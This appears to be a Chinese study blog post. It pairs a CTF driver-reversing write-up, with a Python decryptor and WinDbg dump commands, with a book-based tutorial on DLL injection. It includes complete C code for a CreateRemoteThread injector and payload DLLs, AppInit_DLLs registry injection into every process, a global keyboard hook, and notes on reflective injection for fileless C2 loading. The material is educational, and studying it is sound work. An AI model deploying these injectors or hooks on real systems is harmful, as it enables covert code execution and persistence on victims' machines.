106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
MASK32 = 0xFFFFFFFF
MASK64 = 0xFFFFFFFFFFFFFFFF

CT = bytes.fromhex(
"51dab85273b91700e002f4b22c5f2262330c0144bb709d928a06f92c1d8f0aa9"
"227b84307113d0f9"
)

INTERVAL = -500000

def rol32(x, r):
r &= 31
x &= MASK32
return ((x << r) | (x >> (32 - r))) & MASK32


def ror32(x, r):
r &= 31
x &= MASK32
return ((x >> r) | (x << (32 - r))) & MASK32


def xorshift32(x):
x &= MASK32
v2 = (((x << 13) & MASK32) ^ x)
v2 = ((v2 >> 17) ^ v2) & MASK32
return (((v2 << 5) & MASK32) ^ v2) & MASK32


def derive_seed(interval_signed):
interval = interval_signed & MASK64
v18 = 0x17658990C729C992
for _ in range(57):
v18 = (interval ^ ((65539 * v18) & MASK64)) & MASK64
return v18


def init_tables(a0, a1):
p = list(range(256))
v = ((a1 >> 21) | ((a1 << 11) & MASK32)) ^ a0 ^ 0x1244F4C6
for j in range(255, 0, -1):
v = xorshift32(v)
idx = v % (j + 1)
p[j], p[idx] = p[idx], p[j]
inv = [0] * 256
for k in range(256):
inv[p[k]] = k
return p, inv


def expand_round_keys(a0, a1):
v5 = (a0 ^ 0xB7E15163) & MASK32
v4 = (a1 - 0x61C88647) & MASK32
rk = []
for i in range(32):
v6 = ((((-0x61C88647 * i) & MASK32) ^ 0xB7E15163) + (rol32(v4, v5 & 31) ^ v5)) & MASK32
w = (ror32((v4 + v5) & MASK32, v4 & 31) ^ v6) & MASK32
rk.append(w)
v5 = (w ^ v4) & MASK32
v4 = (rol32(w, v6 & 31) + v6) & MASK32
return rk


def mix_block_counter(a5, a0, a1):
v3 = ((a1 ^ 0xDEADBEEF) + (rol32(a0, a5 & 31) ^ ((73244475 * (a5 + 1)) & MASK32))) & MASK32
t = (((v3 >> 16) ^ v3) * 2146121005) & MASK32
v4 = (-2073254261 * (((t >> 15) ^ t) & MASK32)) & MASK32
return ((v4 >> 16) ^ v4) & MASK32


def subword(x, tab):
return (
(tab[(x >> 24) & 0xFF] << 24)
| (tab[(x >> 16) & 0xFF] << 16)
| (tab[(x >> 8) & 0xFF] << 8)
| tab[x & 0xFF]
) & MASK32


def dec_block(c0, c1, a0, a1, rk, p, inv, blk_idx):
v16 = mix_block_counter(blk_idx, a0, a1)
v8 = (c0 ^ ((rol32(v16, 11) + a1) & MASK32)) & MASK32
v12 = (c1 ^ v16 ^ a0) & MASK32

v15 = 0
v15_list = []
for i in range(32):
v15 = (v15 + ((rk[i] ^ 0xB7E15163) & MASK32)) & MASK32
v15_list.append(v15)

for i in range(31, -1, -1):
v15 = v15_list[i]
if v15 & 1:
v8, v12 = v12, v8

v10 = ror32(v8, ((rk[i] >> 1) + (v15 ^ v12)) & 31)
t = rol32((v12 - (rk[i] ^ v10)) & MASK32, p[v10 & 0xFF] & 31)
v12_prev = subword(t, inv)

s = (
(v10 ^ rol32(rk[i], t & 31) ^ ((rol32(v15, 29) + t) & MASK32))
- (rk[i] ^ v15)
) & MASK32
v8_prev = subword(s, inv)

v8, v12 = v8_prev, v12_prev

w0 = ((v16 + a0) ^ v8) & MASK32
w1 = (rol32(v16, 25) ^ a1 ^ v12) & MASK32
return w0, w1


def decrypt_40(ct40, interval_signed):
seed = derive_seed(interval_signed)
a0 = seed & MASK32
a1 = (seed >> 32) & MASK32
p, inv = init_tables(a0, a1)
rk = expand_round_keys(a0, a1)

out = bytearray()
for bi in range(5):
blk = ct40[bi * 8: bi * 8 + 8]
c0 = int.from_bytes(blk[0:4], "little")
c1 = int.from_bytes(blk[4:8], "little")
w0, w1 = dec_block(c0, c1, a0, a1, rk, p, inv, bi)
out += w0.to_bytes(4, "little")
out += w1.to_bytes(4, "little")
return bytes(out)


pt = decrypt_40(CT, INTERVAL)
print(pt)
print(pt.rstrip(b"\x00").decode("ascii", errors="replace"))

ebbc8827-c040-4a7d-8bc7-0aeccb1ce094

动态分析

不太了解内核逆向

参考[VNCTF 2026]Shadow-驱动dump修复+反射注入+ptehook - Qmeimei’s Blog | 探索一切,攻破一切

师傅写的很详细

1
2
3
4
kd> sxe ld Shadow.sys
kd> g
kd> bp Shadow+0xC1B7
kd> g

断再这里

sxe = Set Exception (on) Event

当某个指定的“调试事件”发生时,让调试器中断下来。

image-20260220234731673

这里的rcx就是载入驱动的首地址

1
r rcx

查看rcx寄存器

1
2
db rcx L10
!dh rcx # 把 rcx 当成一个 PE 映像基址,解析并显示它的 DOS 头和 NT 头

d = display memory

b = byte(按字节显示)

rcx = 起始地址

L10 = 显示 0x10 个字节(16字节)

输出有

1
2
3
10.00 subsystem version
A000 size of image
400 size of headers
1
.writemem D:\dumped.sys ffffb683ef916000 L?0xA000

dump出来

之后就是修复符号

不错的教程:https://bbs.kanxue.com/thread-274505-1.htm

想看原理可以看里面的文章讲的非常好

里面的pe_unmapper挺好用的,https://github.com/hasherezade/libpeconv/tree/master/pe_unmapper

1
pe_unmapper.exe /in D:\dumped.sys 00400000 /out fix.dump

直接修复

修复方法2

image-20260223222525923

DLL注入

之前学过但是得详细了解下,这里再补充一下

《逆向工程核心原理》之DLL注入 - Zer0o - 博客园

UE4逆向初探-OverWatch | Matriy’s blog

DLL注入指的是向运行中的其他进程强制插入特定的DLL文件。从技术细节来说,DLL注入命令其他进程自行调用LoadLibrary() API,加载用户指定的DLL文件。DLL注入与一般DLL加载的区别在于,加载的目标进程是其自身或其他进程。

image-20260216130408174

向某个进程注入DLL时主要使用以下三种方法:

  • 创建远程线程(CreateRemoteThread() API)
  • 使用注册表(AppInit_DLLs值)
  • 消息钩取(SetWindowsHookEx() API)

CreateRemoteThread

基本原理:

  1. OpenProcess() 获取目标进程句柄
  2. VirtualAllocEx() 在目标进程中分配内存
  3. WriteProcessMemory() 写入 DLL 路径
  4. CreateRemoteThread() 调用 LoadLibraryA/W

案例中的myhack.dll

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include "windows.h"
#include "tchar.h"

#pragma comment(lib, "urlmon.lib")

#define DEF_URL (L"http://www.naver.com/index.html")
#define DEF_FILE_NAME (L"index.html")

HMODULE g_hMod = NULL;

DWORD WINAPI ThreadProc(LPVOID lParam)
{
TCHAR szPath[_MAX_PATH] = {0,};

if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) )
return FALSE;

TCHAR *p = _tcsrchr( szPath, '\\' );
if( !p )
return FALSE;
//下载指定网站的index.html
_tcscpy_s(p+1, _MAX_PATH, DEF_FILE_NAME);

URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL);

return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
HANDLE hThread = NULL;

g_hMod = (HMODULE)hinstDLL;

switch( fdwReason )
{
case DLL_PROCESS_ATTACH : //加载时
OutputDebugString(L"<myhack.dll> Injection!!!"); //输出调试字符串
hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); //创建线程
CloseHandle(hThread);
break;
}

return TRUE;
}

在DllMain()函数中可以看到,该DLL被加载(DLL_PROCESS_ATTACH)时,先输出一个调试字符串(“myhack.dll Injection!!!”),然后创建线程调用函数(ThreadProc)。在ThreadProc()函数中通过调用urlmon!URLDownloadToFile() API来下载指定网站的index.html文件。前面提到过,向进程注入DLL后就会调用执行该DLL的DllMain()函数。所以当myhack.dll注入notepad.exe进程后,最终会调用执行URLDownloadToFile()API。

InjectDII.cppInjectDll.exe程序用来将myhack.dll注入notepad.exe进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#include "windows.h"
#include "tchar.h"

BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;

if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) )
{
_tprintf(L"OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}

if( !LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid) ) // receives LUID of privilege
{
_tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;

// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
_tprintf(L"AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}

if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
{
_tprintf(L"The token does not have the specified privilege. \n");
return FALSE;
}

return TRUE;
}

BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess = NULL, hThread = NULL;
HMODULE hMod = NULL;
LPVOID pRemoteBuf = NULL;
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;

// #1. 使用 dwPID 获取目标进程(notepad.exe)句柄(PROCESS_ALL_ACCESS权限),然后就可以用 hProcess 控制进程.
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{ //OpenProcess调用API,借助PID获取目标权限
_tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError());
return FALSE;
}

// #2. 在目标进程(notepad.exe) 内存中分配 szDllName 大小的内存,返回 pRemoteBuf 作为该缓冲区的地址.
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);

// #3. 将 myhack.dll 路径写入刚刚分配的缓冲区.
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);

// #4. 获取 LoadLibraryW() API 地址,kernel32.dll在每个进程中的加载地址相同(这个特性就是我们要利用的).
hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");

// #5. 在 notepad.exe 中运行线程
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);

CloseHandle(hThread);
CloseHandle(hProcess);

return TRUE;
}

int _tmain(int argc, TCHAR *argv[])
{
if( argc != 3)
{
_tprintf(L"USAGE : %s <pid> <dll_path>\n", argv[0]);
return 1;
}

// change privilege
if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )
return 1;

// inject dll
if( InjectDll((DWORD)_tstol(argv[1]), argv[2]) )
_tprintf(L"InjectDll(\"%s\") success!!!\n", argv[2]);
else
_tprintf(L"InjectDll(\"%s\") failed!!!\n", argv[2]);

return 0;
}

InjectDll()函数中

1
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)

调用OpenProcess API,借助程序运行时以参数形式传递过来的dwPID值,获取notepad.exe进程的句柄(PROCESS_ALL_ACCESS权限)。得到PROCESS_ALL_ACCESS权限后,就可以使用获取的句柄(hProcess )控制对应进程

将要注入的DLL路径写入目标进程内存

1
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEMCOMMIT, PAGEREADWRITE);

需要把即将加载的DLL文件的路径告知目标进程。因为任何内存空间都无法进行写入操作,故先使用VirtualAllocEx() API在目标进程的内存空间中分配一块缓冲区,且指定该缓冲区的大小为DLL文件路径字符串的长度(含Terminating NULL )即可。

VirtualAllocEx()函数的返回值(pRemoteBuf)为分配所得缓冲区的地址。该地址并不是程序(Inject.exe )自身进程的内存地址,而是hProcess句柄所指目标进程(notepad.exe)的内存地址,请务必牢记这一点。

1
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID) szDUName, dwBufSize, NULL);

使用WriteProcessMemory() API将DLL路径字符串写入分配所得缓冲区(pRemoteBuf)地址。WriteProcessMemory API所写的内存空间也是hProcess句柄所指的目标进程的内存空间。

获取LoadLibraryW() API地址

1
2
hMod = GetModuleHandle("kernel32 .dll");
pThreadProc = (LPTHREAD_STARTROUTINE)GetProcAddress(hMod, "LoadLibraryW");

调用LoadLibrary() API前先要获取其地址(LoadLibraryW()是LoadLibrary()的Unicode字符串版本)。

最重要的是理解好以上代码的含义。我们的目标明明是获取加载到notepad.exe进程的kernel32.dll的LoadLibraryW() API的起始地址,但上面的代码却用来获取加载到InjectDll.exe进程的kernel32.dll的LoadLibraryW() API的起始地址。如果加载到notepad.exe进程中的kemel32.dll的地址与加载到InjectDll.exe进程中的kemel32.dll的地址相同,那么上面的代码就不会有什么问题。但是如果kemel32.dll在每个进程中加载的地址都不同,那么上面的代码就错了,执行时会发生内存引用错误。

其实在Windows系统中,kernel32.dll在每个进程中的加载地址都是相同的。

《Windows核心编程》一书中对此进行了介绍,此后这一特性被广泛应用于DLL注入技术。

为什么要去获取LoadLibraryW() API的起始地址?不能直接写代码调用嘛

不是在当前进程执行代码,而是让目标进程执行代码

当调用:

1
CreateRemoteThread(hProcess, ..., LoadLibraryW, pRemotePath, ...)

notepad.exe 里面创建一个线程 让这个线程从 LoadLibraryW 地址开始执行

注意!这个线程是在,notepad.exe 的地址空间里执行而不是在,InjectDll.exe 的地址空间

LoadLibraryW(L”test.dll”);这只会发生在:InjectDll.exe 进程内部

1
2
3
4
5
6
7
8
9
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);

lpParameter:pRemoteBuf这个参数会作为:LoadLibraryW 的参数

除第一个参数hProcess外,其他参数与CreateThread()函数完全一样。hProcess参数是要执行线程的目标进程(或称远程进程、宿主进程)的句柄。IpStartAddress与IpParameter参数分别给出线程函数地址与线程参数地址。需要注意的是,这2个地址都应该在目标进程虚拟内存空间中。

一般而言,DLL文件的ImageBase默认为0x10000000,依次加载a.dll与b.dll时,先加载的a.dll被正常加载到0x10000000地址处,后加载的b.dll无法再被加载到此,而是加载到其他空白地址空间,也就是说,该过程中发生了 DLL重定位(因为a.dll已经先被加载到它默认的地址处)。
若kemel32.dll加载到各个进程时地址各不相同,那么上述代码肯定是错误的。但实际在Windows操作系统中,kemel32.dll不管在哪个进程都会被加载至相同地址。为什么会这样呢?我借助PEView软件查看了 Windows操作系统的核心DLL文件的 ImageBase值,罗列如下表(Windows XP SP3版本,根据Windows更新不同,各值会有变化)。

Windows 的做法是:

给系统核心 DLL 预留固定地址 所有进程都映射到同一个虚拟地址, 这样就可以共享同一份物理内存页

kernel32.dll 是 Windows 提供基础系统功能的核心用户层 DLL。

负责:进程管理 线程管理 内存管理 文件操作 控制台 同步机制

1
2
3
4
5
6
7
CreateFile (kernel32)

NtCreateFile (ntdll)

系统调用

ntoskrnl.exe

在目标进程中运行远程线程(Remote Thread)

1
2
3
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
pThreadProc = notepad.exe进程内存中的LoadLibrary()地址
pRemoteBuf = notepad.exe进程内存中的 “c:\work\myhack.dll” 字符串地址

一切准备就绪后,最后向notepad.exe发送一个命令,让其调用LoadLibraryW() API函数加载指定的DLL文件即可,遗憾的是Windows并未直接提供执行这一命令的API。但是我们可以另辟蹊径,使用CreateRemoteThread()这个API (在DLL注入时几乎总会用到)。

AppInit_DLLs

进行DLL注入的第二种方法是使用注册表,WindowsOS的注册表中默认提供了AppInit_DLLs与LoadAppInit_DLLs两个注册表项

image-20260216154158784

只要将要注入DLL的路径写入AppInit_DLLs项目,并在LoadAppInit_DLLs中设置值为1,重启时,系统就会将指定的DLL注入到所有运行进程中。主要原理是User32.dll被加载到进程时,会读取AppInit_DLLs注册表项,若值为1,就调用LoadLibrary()函数加载用户DLL。所以严格来说,是将注入DLL加载到使用user32.dll的进程中。

注:Windows XP会忽略LoadAppInit_DLLs注册表项。

User32.dll 是 Windows 提供图形界面和窗口管理的核心 DLL。

负责:窗口 消息循环 键盘鼠标输入 对话框 按钮控件 消息机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// myhack2.cpp
// 主要作用是以隐藏模式运行IE,连接到指定网站

#include "windows.h"
#include "tchar.h"

#define DEF_CMD L"c:\\Program Files\\Internet Explorer\\iexplore.exe"
#define DEF_ADDR L"http://www.naver.com"
#define DEF_DST_PROC L"notepad.exe"

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
TCHAR szCmd[MAX_PATH] = {0,};
TCHAR szPath[MAX_PATH] = {0,};
TCHAR *p = NULL;
STARTUPINFO si = {0,};
PROCESS_INFORMATION pi = {0,};

si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;

switch( fdwReason )
{
case DLL_PROCESS_ATTACH :
if( !GetModuleFileName( NULL, szPath, MAX_PATH ) )
break;

if( !(p = _tcsrchr(szPath, '\\')) )
break;

if( _tcsicmp(p+1, DEF_DST_PROC) )
break;

wsprintf(szCmd, L"%s %s", DEF_CMD, DEF_ADDR);
if( !CreateProcess(NULL, (LPTSTR)(LPCTSTR)szCmd,
NULL, NULL, FALSE,
NORMAL_PRIORITY_CLASS,
NULL, NULL, &si, &pi) )
break;

if( pi.hProcess != NULL )
CloseHandle(pi.hProcess);

break;
}

return TRUE;
}

被注入的进程时64位,那么注入的DLL也应该是64位,32位对应32位。

1
2
3
4
# 将下面注册表的键对应的值设置为要注入的 DLL的路径
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
# 将下面注册表的键对应的值设置为 1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs

注入64位进程,应该修改的注册表键为:

1
2
3
4
# 将下面注册表的键对应的值设置为要注入的 DLL的路径
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\WindowsNT\CurrentVersion\Windows\AppInit_DLLs
# 将下面注册表的键对应的值设置为 1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\WindowsNT\CurrentVersion\Windows\LoadAppInit_DLLs

Windows消息钩取

DLL注入-Windows消息钩取 - Zer0o - 博客园

敲击键盘时,消息会从OS移动到应用程序,而消息钩子就是在这个过程中偷看信息

常规Windows消息流:

  1. 发生键盘输入事件时,WM_KEYDOWN消息被添加到[OS message queue];
  2. OS判断哪个应用程序中发生了事件,然后从[OS message queue]中取出消息,添加到相应应用程序的[application message queue]
  3. 应用程序监视自身的[application message queue],发现新添加的WM_KEYDOWN消息后,调用相应的事件处理程序处理。

附带钩子的信息流:

  1. 发生键盘输入事件,WM_KEYDOWN消息被添加到OS消息队列;
  2. OS判断哪个应用程序发生了事件,从OS消息队列中取出消息,发送给应用程序;
  3. 钩子程序截取信息,对消息采取一定的动作(因钩子目的而定);
  4. 如钩子程序不拦截消息,消息最终传输给应用程序,此时的消息可能经过了钩子程序的修改。

SetWindowsHookEx()

在Windows中可以使用SetWindowsHookEx()API来设置消息钩子,这个函数除了可以设置当前进程的钩子之外,它还可以设置全局钩子。全局钩子,顾名思义,即当前正在运行的进程都会被设置相应的钩子。

Windows API作用类似是一个个功能函数。

1
2
3
4
5
6
HHOOK SetWindowsHookExA(
int idHook, //hook type 钩子类型
HOOKPROC lpfn, //hook procedure 回调函数地址
HINSTANCE hMod, //hook procedure所属的dll句柄
DWORD dwThreadId //想要挂钩的线程PID
);

第一个参数表征钩子的类型,但钩子的类型是微软规定好的,你只能选一种,自己不能乱写

第二个参数是钩子执行程序,即当钩子勾到所需信息时运行的程序

第三个参数是要注入的dll句柄

第四个参数是想要挂载的线程ID,如果该参数为0,则表明钩子是一个全局钩子

HHOOK:返回值,钩子句柄,需要保留,等不使用钩子时通过UnhookWindowsHookEx函数卸载钩子。

idHook:钩子的拦截消息类型,选择钩子程序的拦截范围,具体值参考文章结尾的消息类型。

Lpfn:消息的回调函数地址,钩子子程的地址指针,一般是填函数名。

hMod:钩子函数所在的实例的句柄。对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数所在的DLL句柄。在dll中可通过AfxInitExtensionModule(MousehookDLL, hInstance)获得DLL句柄。

dwThreadId:钩子所监视的线程的线程号,可通过GetCurrentThreadId()获得线程号。对于全局钩子,该参数为NULL(或0)。

使用SetWindowsHookEx()设置好钩子后,在某个进程中生成指定消息时,OS会将相关的DLL文件强制注入相应的进程,然后调用注册的钩子过程。

image-20260216175809205

KeyHook.dll文件是一个含有钩子过程(KeyboardProc)的DLL文件,HookMain.exe是最先加载KeyHook.dll并安装键盘钩子的程序。HookMain.exe加载KeyHook.dll后使用SetWindowsHookEx()安装键盘钩子;若其他进程(如图中所示)发生键盘输入事件,OS就会强制将KeyHook.dll加载到像一个进程的内存,然后调用KeyboardProc()函数。

keyHook.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
//KeyHook.cpp

#include "stdio.h"
#include "windows.h"

//定义目标进程名为notepad.exe
#define DEF_PROCESS_NAME "notepad.exe"

//定义全局变量
HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;

//DllMain()函数在DLL被加载到进程后会自动执行
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved){
switch( dwReason ){
case DLL_PROCESS_ATTACH:
g_hInstance = hinstDLL;
break;

case DLL_PROCESS_DETACH:
break;
}

return TRUE;
}

//
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){
char szPath[MAX_PATH] = {0,};
char *p = NULL;

if( nCode >= 0 ){

//释放键盘按键时,bit 31 : 0 => press, 1 => release
if(!(lParam & 0x80000000) ){
GetModuleFileNameA(NULL, szPath, MAX_PATH);
p = strrchr(szPath, '\\');

// 比较当前进程名称,若为notepad.exe,则消息不会传递给应用程序或下一个钩子函数
// _stricmp()函数用于比较字符串,i表示不区分大小写,若两个值相等则返回0
if( !_stricmp(p + 1, DEF_PROCESS_NAME) ){
return 1;
}
}
}

//比较当前进程名称,若非notepad.exe,则消息传递给应用程序或下一个钩子函数
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

//在C++中调用C的库文件,用extern "C"告知编译器,因为C++支持函数重载而C不支持,两者的编译规则不同
#ifdef __cplusplus
extern "C"{
#endif
//__declspec,针对编译器的关键字,用于指出导出函数
//当调用导出函数HookStart()时,SetWindowsHookEx()函数就会将KeyboardProc()添加到键盘钩链
__declspec(dllexport) void HookStart(){
g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
}

__declspec(dllexport) void HookStop(){
if(g_hHook){
UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}
}
#ifdef __cplusplus
}
#endif

因为要生成的是KeyHook.dll文件,因而在开始创建项目时应先选择Win 32控制台应用程序

当调用导出函数HookStart()时,SetWindowsHookEx()函数就会将KeyboardProc()添加到键盘钩链。安装好键盘钩子后,无论哪个进程,只要发生键盘输入事件,OS都会强制将KeyHook.dll注入相应的进程中。

KeyboardProc()函数中发生键盘输入事件时,会比较当前进程名称和“notepad.exe”是否一致,若一致则返回1,终止KeyboardProc()函数,即截获并删除消息,从而实现对notepad.exe程序的键盘输入事件进行钩取并截获删除、键盘消息不能传递到notepad.exe的消息队列中。

KeyboardProc()函数定义如下:

1
2
3
4
5
LRESULT CALLBACK KeyboardProc(
int code, //HC_ACTION(0), HC_NOREMOVE(3)
WPARAM wParam, //virtual-key code
LPARAM lParam //extra information
);

其中wParam指用户按下的键盘按键的虚拟键值。

HookMain.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
//HookMain

#include "stdio.h"
#include "windows.h"
//Console Input/Output,定义了通过控制台进行数据输入和数据输出的函数
//主要是一些用户通过按键盘产生的对应操作,比如getch()函数等等
#include "conio.h"

//定义一些常量
#define DEF_DLL_NAME "KeyHook.dll"
#define DEF_HOOKSTART "HookStart"
#define DEF_HOOKSTOP "HookStop"

//定义两个参数为空、返回值为void即没有的函数指针
typedef void (*PFN_HOOKSTART)();
typedef void (*PFN_HOOKSTOP)();

void main(){
//定义及初始化句柄变量和函数指针
HMODULE hDll = NULL;
PFN_HOOKSTART HookStart = NULL;
PFN_HOOKSTOP HookStop = NULL;

//加载KeyHook.dll
hDll = LoadLibraryA(DEF_DLL_NAME);

//若加载不成功,则输出错误信息
if( hDll == NULL ){
printf("[-]无法加载%s [%d]\n", DEF_DLL_NAME, GetLastError());
return;
}

//获取导出函数地址
HookStart = (PFN_HOOKSTART)GetProcAddress(hDll, DEF_HOOKSTART);
HookStop = (PFN_HOOKSTOP)GetProcAddress(hDll, DEF_HOOKSTOP);

//开始钩取
HookStart();

//直至用户输入“q”退出钩取
printf("[*]等待输入 'q' 来停止钩取...\n");
while( _getch() != 'q' );

//终止钩取
HookStop();

//卸载KeyHook.dll
FreeLibrary(hDll);
}

安装好键盘钩子后,无论在哪个进程中,只要发生了键盘输入事件,OS就会强制将KeyHook.dll注入到进程中,加载了KeyHook.dll的进程,发生键盘事件时会首先调用执行**KeyHook.KetyboardProc()**。

KetyboardProc()函数中发生键盘输入事件时,会比较当前进程的名称与“notepad.exe”是否相同,相同返回1,终止KetyboardProc()函数,意味着截获并删除了消息,这样键盘消息就不会传递到notepad.exe程序的消息队列。

反射DLL注入

其他注入方式多种DLL注入技术原理介绍_dll注入器-CSDN博客

反射DLL注入原理解析-先知社区

反射DLL注入技术深度解析与实战 - FreeBuf网络安全行业门户

PEB及其武器化-先知社区

普通DLL注入通过操作目标进程内存空间,强制加载外部DLL文件。核心流程如下:

  1. 获取目标进程句柄OpenProcess
  2. 分配内存写入DLL路径VirtualAllocEx+ WriteProcessMemory
  3. 创建远程线程执行加载CreateRemoteThread调用LoadLibrary
  4. 清理资源:释放内存并关闭句柄

技术局限

  • 依赖LoadLibrary等敏感API
  • 需要磁盘DLL文件落地
  • 容易被行为分析检测

普通 DLL 注入:

1
让目标进程调用 LoadLibrary

反射 DLL 注入:

1
让目标进程执行自定义 PE 加载器

PE Loader当双击一个 exe 时真正发生的是,ntdll.dll 里的 Loader

具体函数:

1
2
LdrLoadDll
LdrpLoadDll

这套机制统称为:PE Loader

当系统加载一个 DLL 时,Loader 会做下面这些事:

① 分配内存

根据 PE 头里的:

1
2
SizeOfImage
ImageBase

在内存中分配一块空间。

② 复制节区(Sections)

比如:

1
2
3
.text
.data
.rdata

把文件里的节区拷贝到内存中对应位置。

③ 处理重定位(Relocation)

如果 DLL 没加载到默认 ImageBase:就根据重定位表修正地址

④ 修复导入表(IAT)

如果你的 DLL 里有:

1
2
MessageBox()
CreateFile()

它会:找到 user32.dll kernel32.dll获取函数地址填入 IAT

⑤ 调用入口点

对于 DLL:DllMain(DLL_PROCESS_ATTACH)

对于 EXE:EntryPoint()

反射DLL注入原理

copy from 反射DLL注入原理解析-先知社区

通过 DLL 内部的一个函数来自己把自己加载起来,这么说可能会有一点抽象,总之这个函数会负责解析DLL文件的头信息、导入函数的地址、处理重定位等初始化操作,先不用理解这个函数是怎么实现的,后面会细说,我们只需要将这个DLL文件写入目标进程的虚拟空间中,然后通过DLL的导出表找到这个ReflectiveLoader并调用它,我们的任务就完成了。

那么我们的任务就到了如何编写这个函数上面了,由于这个函数执行的时候 DLL 还没有被加载,这个函数的编写也会受到诸多限制,比如说无法正常使用全局变量,还有我们的函数必须编写成与地址无关的函数,就像 shellcode 那样,无论加载到了内存中的哪一个位置都要保证成功加载。

这个技术也是非常实用的,除了进行注入,我们在开发 c2 时也可以利用此技术实现无文件落地攻击。要理解这个技术需要丰富的 PE 知识

接下来要分析的项目是https://github.com/oldboy21/RflDllOb,它实现了一个伪 c2 的无文件落地攻击,项目分成两个部分,一个是ReflectiveDLL,就是我们上面说的 dll,还有一个就是ReflectiveDLLInjector,它实现了从 url 下载ReflectiveDLL 并且注入到指定线程中,实现无文件落地攻击的技术。

image-20260217215704375

ReflectiveDLL

image-20260217215852389

变量定义

反射DLL被当成一段裸内存写进目标进程,然后直接跳转到 ReflectiveLoader,在未知基址执行

也就是说:代码必须能在“任意地址”运行

这叫:Position Independent Code(位置无关代码)

写:

1
char kernel32[] = "kernel32.dll";

编译器会把这个字符串放到 .rdata.data 段,代码里使用的是绝对地址引用

PE 文件里的绝对地址通常是:ImageBase + 偏移量

如果 ImageBase 变了,那就必须重定位。

重定位,系统会:

  1. 读取重定位表
  2. 找到所有“需要修正的地址”
